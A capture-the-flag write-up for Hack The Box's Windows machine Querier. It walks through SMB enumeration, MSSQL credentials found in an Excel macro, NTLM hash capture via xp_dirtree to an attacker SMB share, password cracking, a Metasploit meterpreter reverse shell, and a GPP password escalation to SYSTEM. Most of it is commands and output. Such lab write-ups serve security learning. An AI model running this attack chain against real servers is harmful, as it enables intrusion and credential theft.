

Welcome back hackers!! Today we will be doing a windows box named Querier from HacktheBox. So lets jump in.

Enumeration

```
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017
14.00.1000.00; RTM
|_ssl-date: 2022-01-04T11:41:28+00:00; +5s from scanner
time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-04T11:38:54
| Not valid after: 2052-01-04T11:38:54
| MD5:   ea0b 7ebc 0591 b2f6 b212 24e5 262a e503
|_SHA-1: 3623 f7d8 f382 033b cdfa e02c 42b3 96a6 7e54 0ba3
| ms-sql-ntlm-info:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0
(SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0
(SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
```

```
49664/tcp open  msrpc      Microsoft Windows RPC
49665/tcp open  msrpc      Microsoft Windows RPC
49666/tcp open  msrpc      Microsoft Windows RPC
49667/tcp open  msrpc      Microsoft Windows RPC
49668/tcp open  msrpc      Microsoft Windows RPC
49669/tcp open  msrpc      Microsoft Windows RPC
49670/tcp open  msrpc      Microsoft Windows RPC
49671/tcp open  msrpc      Microsoft Windows RPC
```

We have a lots of ports open. First we will look at whether any shares are available for us to see. Then we will move to SQL Server. At last we will hit http services. Lets begin.

SMB (Ports 139, 445)

```
(root@kali)-[/home/rishabh/HTB/Windows/Querier]
# smbclient -L \\$IP
lpcfg_do_global_parameter: WARNING: The "client use spnego"
option is deprecated
Unknown parameter encountered: "client ntlvm2 auth"
Ignoring unknown parameter "client ntlvm2 auth"
Enter WORKGROUP\rishabh's password:
```

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
Reports	Disk	

```
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.1.147 failed (Error
NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Using smbclient, we listed the shares, and my intuition says, we would be able to access Reports shares. Rest of the shares would be requiring a password.

```
(root@kali)-[~rishabh/HTB/Windows/Querier]
# smbclient \\\\$IP\\Reports
lpcfg_do_global_parameter: WARNING: The "client use spnego"
option is deprecated
Unknown parameter encountered: "client ntlvm2 auth"
Ignoring unknown parameter "client ntlvm2 auth"
Enter WORKGROUP\rishabh's password:
Try "help" to get a list of possible commands.
smb: \> ls

.                               D              0   Mon Jan
28 18:23:48 2019
..                              D              0   Mon Jan
28 18:23:48 2019
  Currency Volume Report.xlsm   A         12229  Sun Jan
27 17:21:34 2019

                               6469119 blocks of size 4096. 1605782 blocks
available
smb: \>
```

Download the excel file. If you open the excel file, there is nothing. Next, I used binwalk to see what files have been used to compile this excel file.

```
(root@kali)-[/home/rishabh/HTB/Windows/Querier]
# binwalk Currency\ Volume\ Report.xlsm

DECIMAL      HEXADECIMAL    DESCRIPTION
-----
0            0x0           Zip archive data, at least
v2.0 to extract, compressed size: 367, uncompressed size:
1087, name: [Content_Types].xml
```

```
936          0x3A8          Zip archive data, at least
v2.0 to extract, compressed size: 244, uncompressed size:
588, name: _rels/.rels
1741          0x6CD          Zip archive data, at least
v2.0 to extract, compressed size: 813, uncompressed size:
1821, name: xl/workbook.xml
2599          0xA27          Zip archive data, at least
v2.0 to extract, compressed size: 260, uncompressed size:
679, name: xl/_rels/workbook.xml.rels
3179          0xC6B          Zip archive data, at least
v2.0 to extract, compressed size: 491, uncompressed size:
1010, name: xl/worksheets/sheet1.xml
3724          0xE8C          Zip archive data, at least
v2.0 to extract, compressed size: 1870, uncompressed size:
8390, name: xl/theme/theme1.xml
5643          0x160B         Zip archive data, at least
v2.0 to extract, compressed size: 676, uncompressed size:
1618, name: xl/styles.xml
6362          0x18DA          Zip archive data, at least
v2.0 to extract, compressed size: 3817, uncompressed size:
10240, name: xl/vbaProject.bin
10226         0x27F2          Zip archive data, at least
v2.0 to extract, compressed size: 323, uncompressed size:
601, name: docProps/core.xml
10860         0x2A6C          Zip archive data, at least
v2.0 to extract, compressed size: 400, uncompressed size:
794, name: docProps/app.xml
12207         0x2FAF          End of Zip archive, footer
length: 22
```

You can use -e option with binwalk to extract all the contents. After extracting, I looked inside the files, and I noticed one file of particular interest "vbaProject.bin". If you cat out the file, you will find mssql credentials:

```

(root@kali)-[/home/.../Windows/Querier/_Currency Volume Report.xlsm.extracted/xl]
# cat vbaProject.bin
.....
.....
.....Root Entry.....VB.....
Sheet1.....)
! "$%&' (+++++,-./012345678++++;=<?@ABCDEFGHIJKLMN0PQRSTUVWXYZ[\]^_`ab++++defghijk++++nopqrs++++
++++8++++kj;++++#++++ME++++(++++PSL++++S++++
++++<++++<0++++<8++++<2428N0{00020819-0000-0000-C000-0000000000046}++++0++++% *6++++P % *
0++++p%
++++$^++++ 4* 0* *++++"X* +++H* +++
8x*
p*
++++ 8* 2@* *
++++ (+- macro to pull data for client volume reports+.0n.Conn]*8]*X*x*
0(<Open 0B@rver=<+SELECT * FROM volume; 0%B.6word> 0!> @+ MsgBox "connection successful" 6*A1*$D%FB@H 6B@Bk*+X*+P
+++++,Set rs = conn.Execute("SELECT * @@version;")++++X*kDriver={SQL Server};Server=QUERIER;Trusted_Connection=n
o;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6 0(:++++ further testing required++++H++++Attribute VB_Name =
"ThisWorkbook"
[Global*Spac*False$0046}*
BExposeTemplateDeriv*BustomizD2eclaIdTru
0 macro to @pull dU for clie+nt volu++reports+further testing@ requi_
PBF Sub Connect()
Dim As A DODB.iohn
*r
RecordsetSet= N+ew*+'S*++*D*Dr={SQL Server};+=QUERIER;@Bsted_G#=no;D
+l@*=@;UId=A<;Pwd=PcwTWTHRwryjc$c6*+!TimeouBt+t10

```

Let's use these credentials to get access to the machine:

Ms-sql (Port 1433)

```

(root@kali)-[/home/rishabh/HTB/Windows/Querier]
# mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@$IP
-windows-auth
Impacket v0.9.24.dev1+20210625.150349.2eff99fc - Copyright
2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value:
volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value:
16192
[*] INFO(QUERIER): Line 1: Changed database context to
'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to
us_english.

```

```
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
```

We have used the tool mssqlclient.py from impacket tool suite. Here Querier is the name of the machine, with user as reporting, and - windows-auth flag used for windows authentication. We can see that we have successfully logged in. Next thing would be to get a shell. We can use xp_cmdshell to execute commands but unfortunately we don't have the permissions.

```
SQL> enable_xp_cmdshell
[-] ERROR(QUERIER): Line 105: User does not have permission
to perform this action.
[-] ERROR(QUERIER): Line 1: You do not have permission to
run the RECONFIGURE statement.
[-] ERROR(QUERIER): Line 62: The configuration option
'xp_cmdshell' does not exist, or it may be an advanced
option.
[-] ERROR(QUERIER): Line 1: You do not have permission to
run the RECONFIGURE statement.
```

So what else we can do. We can capture the NTLM hashes of the service account. Let me show how. You can also refer to this article for more better understanding:

<https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478>

First we will start our smbserver so that it can capture the hash:

```
(root@kali) - [/home/rishabh/HTB/Windows/Querier]
# smbserver.py -smb2support myshare /home/rishabh/HTB/Windows/Querier
Impacket v0.9.24.dev1+20210625.150349.2eff99fc - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

```
(root@kali)~[/home/rishabh/HTB/Windows/Querier]
# mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$C6'@SQL -windows-auth WIN-68B794UN7MG(Security)
Impacket v0.9.24.dev1+20210625.150349.2eff99fc - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> EXEC master.sys.xp_dirtree '\\10.10.16.19\myshare',1,1
subdirectory

depth      file
-----
SQL>
```

```
[*] Incoming connection (10.129.1.147,49681)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaa:ed14439e23ea2b60a96fffe5377fde8:010100000000000009085fb7701d80135446dec6295
7923000000000100100069007000630065007200430050006a000300100069007000630065007200430050006a00020010007a00530047004b004
500430058007a00040010007a00530047004b004500430058007a0007000800009085fb7701d80106000400020000000800300030000000000000
000000000000030000080939ee63403d17da0cd92662024bb56343f34532c0ed7cf7576b14532582f80a0010000000000000000000000000000
000000900200063006900660073002f00310030002e00310030002e00310036002e003100390000000000000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:myshare)
[*] AUTHENTICATE_MESSAGE (\,QUERIER)
[*] User QUERIER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:myshare)
[*] Closing down connection (10.129.1.147,49681)
[*] Remaining connections []
```

```
[root@kali]~/home/rishabh/HTB/Windows/Querier
# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1g 0:00:00:03 DONE (2022-01-04 09:37) 0.2597g/s 2327Kp/s 2327Kc/s 2327KC/s correemilio..cornamona
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

Aahhah, we have the password. Now, what. We can use this password to login as mssql-svc using mssqlclient.py and see whether we can execute commands using xp_cmdshell.


```
(root@kali)-[/home/rishabh/HTB/Windows/Querier]
└─# mssqlclient.py QUERIER/mssql-svc:'corporate568'@$IP -
windows-auth 1
x
Impacket v0.9.24.dev1+20210625.150349.2eff99fc - Copyright
2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value:
master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value:
16192
[*] INFO(QUERIER): Line 1: Changed database context to
'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to
us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show
advanced options' changed from 0 to 1. Run the RECONFIGURE
statement to install.
[*] INFO(QUERIER): Line 185: Configuration option
'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE
statement to install.
SQL> RECONFIGURE
SQL> GO
[-] ERROR(QUERIER): Line 1: Could not find stored procedure
'GO'.
SQL> xp_cmdshell whoami
output

-----
-----

querier\mssql-svc

NULL
```


You can see that we are now able to execute commands. Lets abuse this to get a meterpreter shell.

Exploitation

Open msfconsole, and use the module:

exploit/windows/mssql/mssql_payload. Set rhosts, domain as QUERIER, password, username, use_windows_authent as true and lhost. Options could look like this after setting up:

```
msf6 exploit(windows/mssql/mssql_payload) > options

Module options (exploit/windows/mssql/mssql_payload):

  Name                Current Setting  Required  Description
  ---                -
  METHOD               cmd              yes       Which payload delivery method to use (ps, cmd, or old)
  PASSWORD             corporate568      no        The password for the specified username
  RHOSTS              10.129.1.147     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT               1433             yes       The target port (TCP)
  SRVHOST              0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT             8080             yes       The local port to listen on.
  SSL                  false            no        Negotiate SSL for incoming connections
  SSLCert              false            no        Path to a custom SSL certificate (default is randomly generated)
  TDS_ENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
  URIPATH              no               no        The URI to use for this exploit (default is random)
  USERNAME            mssql-svc        no        The username to authenticate as
  USE_WINDOWS_AUTHENT  true             yes       Use windows authentication (requires DOMAIN option set)

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name                Current Setting  Required  Description
  ---                -
  EXITFUNC            thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST               10.10.16.19     yes       The listen address (an interface may be specified)
  LPORT               4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Now type run and hit enter:

```
msf6 exploit(windows/mssql/mssql_payload) > run

[*] Started reverse TCP handler on 10.10.16.19:4444
[*] 10.129.1.147:1433 - Command Stager progress - 12.47% done (1499/12022 bytes)
[*] 10.129.1.147:1433 - Command Stager progress - 24.94% done (2998/12022 bytes)
[*] 10.129.1.147:1433 - Command Stager progress - 37.41% done (4497/12022 bytes)
[*] 10.129.1.147:1433 - Command Stager progress - 49.88% done (5996/12022 bytes)
[*] 10.129.1.147:1433 - Command Stager progress - 62.34% done (7495/12022 bytes)
[*] 10.129.1.147:1433 - Command Stager progress - 74.81% done (8994/12022 bytes)
[*] 10.129.1.147:1433 - Command Stager progress - 86.86% done (10442/12022 bytes)
[*] 10.129.1.147:1433 - Command Stager progress - 99.13% done (11917/12022 bytes)
[*] Sending stage (200262 bytes) to 10.129.1.147
[*] 10.129.1.147:1433 - Command Stager progress - 100.00% done (12022/12022 bytes)
[*] Meterpreter session 1 opened (10.10.16.19:4444 → 10.129.1.147:49682 ) at 2022-01-04 11:03:26 -0500

meterpreter > getuid
Server username: QUERIER\mssql-svc
meterpreter > 
```

You might be not able to get the shell the first time, but run again and you will surely get this time.

Privilege Escalation

Now, as we have meterpreter shell, we can do a lot of malicious things. For an easy win, I tried getsystem, but it didn't work. Next, I used the command 'getprivs' to list the privileges and luckily it had impersonation privilege set.

```
meterpreter > getprivs

Enabled Process Privileges
=====
Name SCRIPTS
-----
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
```

I went with rottenpotato exploit, but unfortunately it didn't work. Next, I uploaded PowerUp.ps1 with the help of meterpreter's upload command:

```

meterpreter > upload /home/rishabh/Desktop/transfers/PowerUp.ps1 .
[*] uploading : /home/rishabh/Desktop/transfers/PowerUp.ps1 → .
[*] uploaded  : /home/rishabh/Desktop/transfers/PowerUp.ps1 → .\PowerUp.ps1
meterpreter > shell
Process 4252 created.
Channel 11 created.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Temp>dir
dir [INE] eIPT [vuln]
Volume in drive C has no label.
Volume Serial Number is FE98-F373

Directory of C:\Temp

01/04/2022  05:28 PM    <DIR>          .
01/04/2022  05:28 PM    <DIR>          ..
01/04/2022  05:10 PM             347,648 JuicyPotato.exe
01/04/2022  05:28 PM             600,597 PowerUp.ps1
01/04/2022  05:14 PM             679,936 rottenpotato.exe
01/04/2022  05:20 PM          1,925,632 winPEASx64.exe
               4 File(s)          3,553,813 bytes
               2 Dir(s)      6,434,693,120 bytes free

```

Now, use the command "powershell -ep bypass" to bypass the execution policy. Next, execute the script:

```

C:\Temp>powershell -ep bypass
powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Temp> . .\PowerUp.ps1

```

Make sure to include "Invoke-AllChecks" at the end of the script.

```

Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2348
ProcessId : 4724
Name : 4724
Check : Process Token Privileges

ServiceName : UsoSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
Name : UsoSvc
Check : Modifiable Services

ModifiablePath : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

UnattendPath : C:\Windows\Panther\Unattend.xml
Name : C:\Windows\Panther\Unattend.xml
Check : Unattended Install Files

Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : { }
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check : Cached GPP Files

```

The output to the script is not heavy as compared to winpeas's output. The script has pulled out a password for Administrator from groups.xml file. Lets test this password to see if it works. We can use psexec.py from impacket to get a administrator shell:

```

(root@kali)-[/home/rishabh/HTB/Windows/Querier]
# psexec.py administrator:'[REDACTED]'@$IP
Impacket v0.9.24.dev1+20210625.150349.2eff99fc - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.129.1.147.....
[*] Found writable share ADMIN$
[*] Uploading file lcKHMmAw.exe
[*] Opening SVCManager on 10.129.1.147.....
[*] Creating service JTzJ on 10.129.1.147.....
[*] Starting service JTzJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>

```

We are now nt authority/system. Cheers!!